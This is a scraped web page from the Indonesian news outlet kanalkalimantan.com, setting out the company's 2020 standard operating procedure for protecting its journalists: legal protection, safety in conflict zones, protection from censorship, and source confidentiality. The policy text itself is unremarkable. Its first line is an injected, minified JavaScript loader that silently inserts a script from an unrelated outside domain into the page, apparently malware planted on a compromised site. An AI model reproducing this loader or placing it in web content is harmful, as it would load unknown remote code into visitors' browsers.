(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
SOP Wartawan Kanal Kalimantan
SOP Perlindungan Wartawan www.kanalkalimantan.com
PT CKAME
Untuk itu Standar Perlindungan Wartawan pada media online www.kanalkalimantan.com ini dibuat:
- Perlindungan yang diatur dalam standar ini adalah perlindungan hukum untuk wartawan kanalkalimantan.com yang menaati kode etik jurnalistik dalam melaksanakan tugas jurnalistiknya antara lain meliputi mencari, memperoleh, memiliki, menyimpan, mengolah, dan menyampaikan informasi melalui media massa guna memenuhi hak publik memperoleh informasi;
- Dalam menjalankan tugas jurnalistiknya, wartawan kanalkalimantan.com dilindungi dari segala jenis tindak kekerasan, penyitaan dan atau perampasan alat-alat kerja, serta tidak boleh dihambat atau diintimidasi oleh pihak manapun;
- Karya jurnalistik wartawan kanalkalimantan.com dilindungi dari segala bentuk penyensoran dan plagiat
- Dalam menjalankan tugasnya wartawan kanalkalimantan.com dibekali surat penugasan, peralatan, asuransi, serta pengetahuan, keterampilan dari perusahaan pers.
- Dalam penugasan jurnalistik di wilayah konflik bersenjata, wartawan kanalkalimantan.com dibekali dengan alamat keselamatan diri dan tidak menggunakan identitas pihak yang bertikai, wajib diperlakukan sebagai pihak yang netral dan diberikan perlindungan hukum sehingga dilarang diintimidasi, disandera, disiksa, dianiaya, apalagi dibunuh
- Dalam perkara yang menyangkut karya jurnalistik, perusahaan pers diwakili oleh penanggungjawabnya dengan didampingi oleh kuasa hukum
- Dalam kesaksian perkara yang menyangkut karya jurnalistik, penanggungjawabnya hanya dapat ditanya mengenai berita yang telah dipublikasikan. Wartawan dapat menggunakan hak tolak untuk melindungi sumber informasi;
- Pemilik atau manajemen perusahaan pers dilarang memaksa wartawan kanalkalimantan.com untuk membuat berita yang melanggar Kode Etik Jurnalistik dan atau hukum yang berlaku.
Banjarbaru, 10 Desember 2020
PT Citra Kalimantan Media
www.kanalkalimantan.com
Abi Zarrin Al Ghifari
Direktur